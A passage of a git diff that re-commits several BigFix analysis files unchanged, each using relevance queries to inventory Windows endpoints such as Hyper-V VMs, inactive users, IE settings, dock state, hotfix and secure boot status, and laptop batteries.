-    <Property ID="2" Name="Hyper-V - Virtual Machines - Windows" EvaluationPeriod="P1D">(string value of property &quot;ElementName&quot; of it, (if (it = &quot;2&quot;) then &quot;Running&quot; else (if (it = &quot;3&quot;) then &quot;Off&quot; else (if (it = &quot;6&quot;) then &quot;Saved&quot; else &quot;Other&quot;))) of (string value of property &quot;EnabledState&quot; of it) , (if (it = &quot;0&quot;) then &quot;No Replication&quot; else (if (it = &quot;1&quot;) then &quot;Healthy&quot; else (if (it = &quot;2&quot;) then &quot;Replication Warning&quot; else &quot;Replication Critical&quot;))) of (string value of property &quot;ReplicationHealth&quot; of it), integer value of property &quot;OnTimeInMilliseconds&quot; of it * millisecond ) of (select objects &quot;* from Msvm_ComputerSystem&quot; of wmi &quot;root\virtualization\v2&quot;) whose (string value of property &quot;Caption&quot; of it does not contain &quot;Hosting&quot;)</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Hyper-V Host - Windows
+  ID       : 2998252
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-07-19T17:52:00
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Hyper-V Host - Windows</Title>
+    <Description><![CDATA[Provides information on the virtual machines and switches configured&nbsp;on the Hyper-V Server
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists service &quot;vmcompute&quot;</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Hyper-V - Virtual Switches - Windows" EvaluationPeriod="P1D">(value &quot;FriendlyName&quot; of it as string, name of it as string) of keys of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\vmsmp\parameters\SwitchList&quot; of native registry</Property>
+    <Property ID="2" Name="Hyper-V - Virtual Machines - Windows" EvaluationPeriod="P1D">(string value of property &quot;ElementName&quot; of it, (if (it = &quot;2&quot;) then &quot;Running&quot; else (if (it = &quot;3&quot;) then &quot;Off&quot; else (if (it = &quot;6&quot;) then &quot;Saved&quot; else &quot;Other&quot;))) of (string value of property &quot;EnabledState&quot; of it) , (if (it = &quot;0&quot;) then &quot;No Replication&quot; else (if (it = &quot;1&quot;) then &quot;Healthy&quot; else (if (it = &quot;2&quot;) then &quot;Replication Warning&quot; else &quot;Replication Critical&quot;))) of (string value of property &quot;ReplicationHealth&quot; of it), integer value of property &quot;OnTimeInMilliseconds&quot; of it * millisecond ) of (select objects &quot;* from Msvm_ComputerSystem&quot; of wmi &quot;root\virtualization\v2&quot;) whose (string value of property &quot;Caption&quot; of it does not contain &quot;Hosting&quot;)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/In-Place Upgrade Failure Information (2998651).bes b/Sites/Windows Management/Fixlets/Analyses/In-Place Upgrade Failure Information (2998651).bes
index 765d42446..b1ba072d2 100644
--- a/Sites/Windows Management/Fixlets/Analyses/In-Place Upgrade Failure Information (2998651).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/In-Place Upgrade Failure Information (2998651).bes	
@@ -1,26 +1,26 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : In-Place Upgrade Failure Information
-  ID       : 2998651
-  Author   : 6906AC99-CFAD-4BC2-8B69-999D8150433C
-  Domain   : BESC
-  Imported : 2021-10-22T08:10:24
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>In-Place Upgrade Failure Information</Title>
-    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
-    <Relevance>exist files &quot;setupdiagresults.xml&quot; of folder &quot;Windows\Logs\SetupDiag&quot; of drive of system folder</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Fri, 22 Oct 2021 15:07:26 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Failure Details">preceding texts of lasts &quot;&lt;/FailureDetails&gt;&quot; of following texts of firsts &quot;&lt;FailureDetails&gt;&quot; of lines containing &quot;&lt;FailureDetails&gt;&quot; of files &quot;setupdiagresults.xml&quot; of folder &quot;Windows\Logs\SetupDiag&quot; of drive of system folder</Property>
-    <Property ID="2" Name="Failure Data">preceding texts of lasts &quot;&lt;/FailureData&gt;&quot; of following texts of firsts &quot;&lt;FailureData&gt;&quot; of lines containing &quot;&lt;FailureData&gt;&quot; of files &quot;setupdiagresults.xml&quot; of folder &quot;Windows\Logs\SetupDiag&quot; of drive of system folder</Property>
-    <Property ID="3" Name="Remediation">preceding texts of lasts &quot;&lt;/Remediation&gt;&quot; of following texts of firsts &quot;&lt;Remediation&gt;&quot; of lines containing &quot;&lt;Remediation&gt;&quot; of files &quot;setupdiagresults.xml&quot; of folder &quot;Windows\Logs\SetupDiag&quot; of drive of system folder</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : In-Place Upgrade Failure Information
+  ID       : 2998651
+  Author   : 6906AC99-CFAD-4BC2-8B69-999D8150433C
+  Domain   : BESC
+  Imported : 2021-10-22T08:10:24
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>In-Place Upgrade Failure Information</Title>
+    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
+    <Relevance>exist files &quot;setupdiagresults.xml&quot; of folder &quot;Windows\Logs\SetupDiag&quot; of drive of system folder</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 22 Oct 2021 15:07:26 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Failure Details">preceding texts of lasts &quot;&lt;/FailureDetails&gt;&quot; of following texts of firsts &quot;&lt;FailureDetails&gt;&quot; of lines containing &quot;&lt;FailureDetails&gt;&quot; of files &quot;setupdiagresults.xml&quot; of folder &quot;Windows\Logs\SetupDiag&quot; of drive of system folder</Property>
+    <Property ID="2" Name="Failure Data">preceding texts of lasts &quot;&lt;/FailureData&gt;&quot; of following texts of firsts &quot;&lt;FailureData&gt;&quot; of lines containing &quot;&lt;FailureData&gt;&quot; of files &quot;setupdiagresults.xml&quot; of folder &quot;Windows\Logs\SetupDiag&quot; of drive of system folder</Property>
+    <Property ID="3" Name="Remediation">preceding texts of lasts &quot;&lt;/Remediation&gt;&quot; of following texts of firsts &quot;&lt;Remediation&gt;&quot; of lines containing &quot;&lt;Remediation&gt;&quot; of files &quot;setupdiagresults.xml&quot; of folder &quot;Windows\Logs\SetupDiag&quot; of drive of system folder</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Inactive Users (2994557).bes b/Sites/Windows Management/Fixlets/Analyses/Inactive Users (2994557).bes
index 97bad0b3e..3cf5ae3ad 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Inactive Users (2994557).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Inactive Users (2994557).bes	
@@ -1,24 +1,24 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Inactive Users
-  ID       : 2994557
-  Author   : sinucus
-  Domain   : BESC
-  Imported : 2013-08-07T12:52:16
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Inactive Users</Title>
-    <Description>Lists the user accounts that have not logged onto the system in the last 30 days.</Description>
-    <Relevance>name of operating system as lowercase starts with &quot;win&quot;</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 07 Aug 2013 19:20:29 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Users">(name of it) of users whose ((now - (last logon of it) &gt; 30 * day) and name of it does not contain &quot;$&quot;)</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Inactive Users
+  ID       : 2994557
+  Author   : sinucus
+  Domain   : BESC
+  Imported : 2013-08-07T12:52:16
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Inactive Users</Title>
+    <Description>Lists the user accounts that have not logged onto the system in the last 30 days.</Description>
+    <Relevance>name of operating system as lowercase starts with &quot;win&quot;</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 07 Aug 2013 19:20:29 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Users">(name of it) of users whose ((now - (last logon of it) &gt; 30 * day) and name of it does not contain &quot;$&quot;)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Intel vPro Audit - Windows (2995830).bes b/Sites/Windows Management/Fixlets/Analyses/Intel vPro Audit - Windows (2995830).bes
index fe79bdada..35ad0859d 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Intel vPro Audit - Windows (2995830).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Intel vPro Audit - Windows (2995830).bes	
@@ -1,25 +1,25 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Intel vPro Audit - Windows
-  ID       : 2995830
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2016-01-04T16:52:55
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Intel vPro Audit - Windows</Title>
-    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Mon, 04 Jan 2016 21:36:29 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="vPro State" EvaluationPeriod="PT6H">node values of xpaths &quot;/PlatformDiscovery/Solution[@name=&apos;Intel(R) AMT&apos;]/@state&quot; of xml documents of files &quot;results_Intel_Platform_Discovery.xml&quot; of folders &quot;__Global/Logs&quot; of ((data folder of client)|(folder &quot;/var/opt/BESClient/__BESData&quot;)|(folder &quot;/Library/Application Support/BigFix/BES Agent/__BESData&quot;)|(folder &quot;__BESData&quot; of parent folder of client))</Property>
-    <Property ID="2" Name="Last Check" EvaluationPeriod="PT1H">modification times of files &quot;results_Intel_Platform_Discovery.xml&quot; of folders &quot;__Global/Logs&quot; of ((data folder of client)|(folder &quot;/var/opt/BESClient/__BESData&quot;)|(folder &quot;/Library/Application Support/BigFix/BES Agent/__BESData&quot;)|(folder &quot;__BESData&quot; of parent folder of client))</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Intel vPro Audit - Windows
+  ID       : 2995830
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2016-01-04T16:52:55
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Intel vPro Audit - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 04 Jan 2016 21:36:29 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="vPro State" EvaluationPeriod="PT6H">node values of xpaths &quot;/PlatformDiscovery/Solution[@name=&apos;Intel(R) AMT&apos;]/@state&quot; of xml documents of files &quot;results_Intel_Platform_Discovery.xml&quot; of folders &quot;__Global/Logs&quot; of ((data folder of client)|(folder &quot;/var/opt/BESClient/__BESData&quot;)|(folder &quot;/Library/Application Support/BigFix/BES Agent/__BESData&quot;)|(folder &quot;__BESData&quot; of parent folder of client))</Property>
+    <Property ID="2" Name="Last Check" EvaluationPeriod="PT1H">modification times of files &quot;results_Intel_Platform_Discovery.xml&quot; of folders &quot;__Global/Logs&quot; of ((data folder of client)|(folder &quot;/var/opt/BESClient/__BESData&quot;)|(folder &quot;/Library/Application Support/BigFix/BES Agent/__BESData&quot;)|(folder &quot;__BESData&quot; of parent folder of client))</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Internet Explorer - Windows (2998393).bes b/Sites/Windows Management/Fixlets/Analyses/Internet Explorer - Windows (2998393).bes
index bda6ba65a..4db8bccbf 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Internet Explorer - Windows (2998393).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Internet Explorer - Windows (2998393).bes	
@@ -1,21 +1,21 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Internet Explorer - Windows
-  ID       : 2998393
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-09-13T16:48:50
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Internet Explorer - Windows</Title>
-    <Description><![CDATA[Provides the trusted sites being pushed to a client via Group Policy.
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="IE - Trusted Sites - Windows" EvaluationPeriod="P1D">(name of it, it) of values of keys &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMapKey&quot; of native registry</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Internet Explorer - Windows
+  ID       : 2998393
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-09-13T16:48:50
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Internet Explorer - Windows</Title>
+    <Description><![CDATA[Provides the trusted sites being pushed to a client via Group Policy.
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="IE - Trusted Sites - Windows" EvaluationPeriod="P1D">(name of it, it) of values of keys &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMapKey&quot; of native registry</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Internet Explorer Configuration - Windows (2994779).bes b/Sites/Windows Management/Fixlets/Analyses/Internet Explorer Configuration - Windows (2994779).bes
index 47848d86c..3461826b7 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Internet Explorer Configuration - Windows (2994779).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Internet Explorer Configuration - Windows (2994779).bes	
@@ -1,27 +1,27 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Internet Explorer Configuration - Windows
-  ID       : 2994779
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2015-05-06T07:13:08
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Internet Explorer Configuration - Windows</Title>
-    <Description><![CDATA[<P>This is a work in progress.</P>
-<P>&nbsp;</P>]]></Description>
-    <Relevance>/* Windows Only */ windows of operating system</Relevance>
-    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 06 May 2015 14:11:57 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="versions of IE" EvaluationPeriod="PT12H">versions of regapps &quot;iexplore.exe&quot;</Property>
-    <Property ID="2" Name="AutoConfigURL" EvaluationPeriod="PT12H">unique values whose(it != &quot;&quot;) of (it as string as trimmed string) of values &quot;AutoConfigURL&quot; of keys &quot;Software\Microsoft\Windows\CurrentVersion\Internet Settings&quot; of keys whose(exists keys &quot;Software\Microsoft\Windows\CurrentVersion\Internet Settings&quot; of it) of keys &quot;HKEY_USERS&quot; of (x64 registries; x32 registries)</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Internet Explorer Configuration - Windows
+  ID       : 2994779
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2015-05-06T07:13:08
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Internet Explorer Configuration - Windows</Title>
+    <Description><![CDATA[<P>This is a work in progress.</P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 06 May 2015 14:11:57 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="versions of IE" EvaluationPeriod="PT12H">versions of regapps &quot;iexplore.exe&quot;</Property>
+    <Property ID="2" Name="AutoConfigURL" EvaluationPeriod="PT12H">unique values whose(it != &quot;&quot;) of (it as string as trimmed string) of values &quot;AutoConfigURL&quot; of keys &quot;Software\Microsoft\Windows\CurrentVersion\Internet Settings&quot; of keys whose(exists keys &quot;Software\Microsoft\Windows\CurrentVersion\Internet Settings&quot; of it) of keys &quot;HKEY_USERS&quot; of (x64 registries; x32 registries)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Is Docked (74).bes b/Sites/Windows Management/Fixlets/Analyses/Is Docked (74).bes
index d3c4f1134..dbfc96ae3 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Is Docked (74).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Is Docked (74).bes	
@@ -1,21 +1,21 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Is Docked
-  ID       : 74
-  Author   : danielheth
-  Domain   : BESC
-  Imported : 2013-01-29T22:48:03
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Is Docked</Title>
-    <Description>Determines if a computer is docked or not</Description>
-    <Relevance>name of operating system as lowercase contains &quot;win&quot; and exists wmi</Relevance>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Type">(if it = 1 then &quot;Other&quot; else if it = 2 then &quot;Unknown&quot; else if it = 3 then &quot;Desktop&quot; else if it = 4 then &quot;Low Profile Desktop&quot; else if it = 5 then &quot;Pizza Box&quot; else if it = 6 then &quot;Mini Tower&quot; else if it = 7 then &quot;Tower&quot; else if it = 8 then &quot;Portable&quot; else if it = 9 then &quot;Laptop&quot; else if it = 10 then &quot;Notebook&quot; else if it = 11 then &quot;Hand Held&quot; else if it = 12 then &quot;Docking Station&quot; else if it = 13 then &quot;All in One&quot; else if it = 14 then &quot;Sub Notebook&quot; else if it = 15 then &quot;Space-Saving&quot; else if it = 16 then &quot;Lunch Box&quot; else if it = 17 then &quot;Main System Chassis&quot; else if it = 18 then &quot;Expansion Chassis&quot; else if it = 19 then &quot;SubChassis&quot; else if it = 20 then &quot;Bus Expansion Chassis&quot; else if it = 21 then &quot;Peripheral Chassis&quot; else if it = 22 then &quot;Storage Chassis&quot; else if it = 23 then &quot;Rack Mount Chassis&quot; else if it = 24 then &quot;Sealed-Case PC&quot; else &quot;No Description&quot;) of (integer values of selects &quot;ChassisTypes from Win32_SystemEnclosure&quot; of wmi)</Property>
-    <Property ID="2" Name="Dock State">if exists (integer values of selects &quot;ChassisTypes from Win32_SystemEnclosure&quot; of wmi) whose (it = 12 or it = 18 or it = 20 or it = 21) then &quot;Docked&quot; else &quot;Not Docked&quot;</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Is Docked
+  ID       : 74
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2013-01-29T22:48:03
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Is Docked</Title>
+    <Description>Determines if a computer is docked or not</Description>
+    <Relevance>name of operating system as lowercase contains &quot;win&quot; and exists wmi</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Type">(if it = 1 then &quot;Other&quot; else if it = 2 then &quot;Unknown&quot; else if it = 3 then &quot;Desktop&quot; else if it = 4 then &quot;Low Profile Desktop&quot; else if it = 5 then &quot;Pizza Box&quot; else if it = 6 then &quot;Mini Tower&quot; else if it = 7 then &quot;Tower&quot; else if it = 8 then &quot;Portable&quot; else if it = 9 then &quot;Laptop&quot; else if it = 10 then &quot;Notebook&quot; else if it = 11 then &quot;Hand Held&quot; else if it = 12 then &quot;Docking Station&quot; else if it = 13 then &quot;All in One&quot; else if it = 14 then &quot;Sub Notebook&quot; else if it = 15 then &quot;Space-Saving&quot; else if it = 16 then &quot;Lunch Box&quot; else if it = 17 then &quot;Main System Chassis&quot; else if it = 18 then &quot;Expansion Chassis&quot; else if it = 19 then &quot;SubChassis&quot; else if it = 20 then &quot;Bus Expansion Chassis&quot; else if it = 21 then &quot;Peripheral Chassis&quot; else if it = 22 then &quot;Storage Chassis&quot; else if it = 23 then &quot;Rack Mount Chassis&quot; else if it = 24 then &quot;Sealed-Case PC&quot; else &quot;No Description&quot;) of (integer values of selects &quot;ChassisTypes from Win32_SystemEnclosure&quot; of wmi)</Property>
+    <Property ID="2" Name="Dock State">if exists (integer values of selects &quot;ChassisTypes from Win32_SystemEnclosure&quot; of wmi) whose (it = 12 or it = 18 or it = 20 or it = 21) then &quot;Docked&quot; else &quot;Not Docked&quot;</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/KB5022842 on Win 2022 (2998680).bes b/Sites/Windows Management/Fixlets/Analyses/KB5022842 on Win 2022 (2998680).bes
index 3c3e37d75..e8e5a3f21 100644
--- a/Sites/Windows Management/Fixlets/Analyses/KB5022842 on Win 2022 (2998680).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/KB5022842 on Win 2022 (2998680).bes	
@@ -1,33 +1,33 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : KB5022842 on Win 2022
-  ID       : 2998680
-  Author   : Knut
-  Domain   : BESC
-  Imported : 2023-02-20T05:17:04
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>KB5022842 on Win 2022</Title>
-    <Description>Only relevant for Win2022.
-Looks up installed hotfix KB5022842 via wmis and checks registry to see check state of secure boot.
-
-Confirmed to work if both values are True.
-It will result in the VM getting tripped up next boot if running on vmware.
-Might happen to all Hypervisors, but none in our environment.
-
-Can be easily modified to look for whatever specific KB you are trying to locate.
-</Description>
-    <Relevance>( (name of it as lowercase = &quot;Win2022&quot; as lowercase ) of operating system)</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Mon, 20 Feb 2023 12:50:53 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="KB installed" EvaluationPeriod="PT5M">(exists (string values of properties &quot;HotFixID&quot; of it) whose (it = &quot;KB5022842&quot;) of select objects &quot;HotFixID from Win32_QuickFixEngineering&quot; of wmis) as string</Property>
-    <Property ID="3" Name="Secure Boot Enabled ">exists it whose(1 = it as integer) of unique values of (it as string) of values &quot;UEFISecureBootEnabled&quot; of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecureBoot\State&quot; of (x64 registries; x32 registries)</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : KB5022842 on Win 2022
+  ID       : 2998680
+  Author   : Knut
+  Domain   : BESC
+  Imported : 2023-02-20T05:17:04
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>KB5022842 on Win 2022</Title>
+    <Description>Only relevant for Win2022.
+Looks up installed hotfix KB5022842 via wmis and checks registry to see check state of secure boot.
+
+Confirmed to work if both values are True.
+It will result in the VM getting tripped up next boot if running on vmware.
+Might happen to all Hypervisors, but none in our environment.
+
+Can be easily modified to look for whatever specific KB you are trying to locate.
+</Description>
+    <Relevance>( (name of it as lowercase = &quot;Win2022&quot; as lowercase ) of operating system)</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 20 Feb 2023 12:50:53 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="KB installed" EvaluationPeriod="PT5M">(exists (string values of properties &quot;HotFixID&quot; of it) whose (it = &quot;KB5022842&quot;) of select objects &quot;HotFixID from Win32_QuickFixEngineering&quot; of wmis) as string</Property>
+    <Property ID="3" Name="Secure Boot Enabled ">exists it whose(1 = it as integer) of unique values of (it as string) of values &quot;UEFISecureBootEnabled&quot; of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecureBoot\State&quot; of (x64 registries; x32 registries)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Laptop Battery Audit - Windows (2994755).bes b/Sites/Windows Management/Fixlets/Analyses/Laptop Battery Audit - Windows (2994755).bes
index c195ea529..c055625be 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Laptop Battery Audit - Windows (2994755).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Laptop Battery Audit - Windows (2994755).bes	
@@ -1,51 +1,51 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Laptop Battery Audit - Windows
-  ID       : 2994755
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2014-12-18T12:35:41
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Laptop Battery Audit - Windows</Title>
-    <Description><![CDATA[<P>This analysis uses a combination of <STRONG>SMBIOS</STRONG>, <STRONG>WMI</STRONG>, and <STRONG>OMCI</STRONG> ( Dell Command | Monitor ) to report on batteries connected to a system. ( in particular laptop batteries, but also&nbsp;battery backups in some cases&nbsp;)</P>
-<P>The best way to determine if a battery needs replaced is to look at the following properties:&nbsp; <FONT size=2><STRONG>"% battery life in capacity</STRONG>", "<STRONG>Battery Status</STRONG>", and "<STRONG>Battery Manufacture Date</STRONG>"</P></FONT>
-<P>In the case of Dell Systems, the best data will be returned if Dell Command | Monitor (also known as OMCI) is installed. See the fixlet available here to install Dell&nbsp;<STRONG>OMCI</STRONG>:&nbsp; <A href="http://bigfix.me/fixlet/details/3918">http://bigfix.me/fixlet/details/3918</A></P>
-<P>There is a related analysis for Apple OS X systems available here:&nbsp; <A href="http://bigfix.me/analysis/details/2994537">http://bigfix.me/analysis/details/2994537</A></P>
-<P>&nbsp;</P>
-<P><STRONG>References:</STRONG></P>
-<P><A href="http://dmtf.org/sites/default/files/standards/documents/DSP0134_2.8.0.pdf">http://dmtf.org/sites/default/files/standards/documents/DSP0134_2.8.0.pdf</A></P>
-<P><A href="http://bigfix.me/relevance/details/2999628">http://bigfix.me/relevance/details/2999628</A></P>
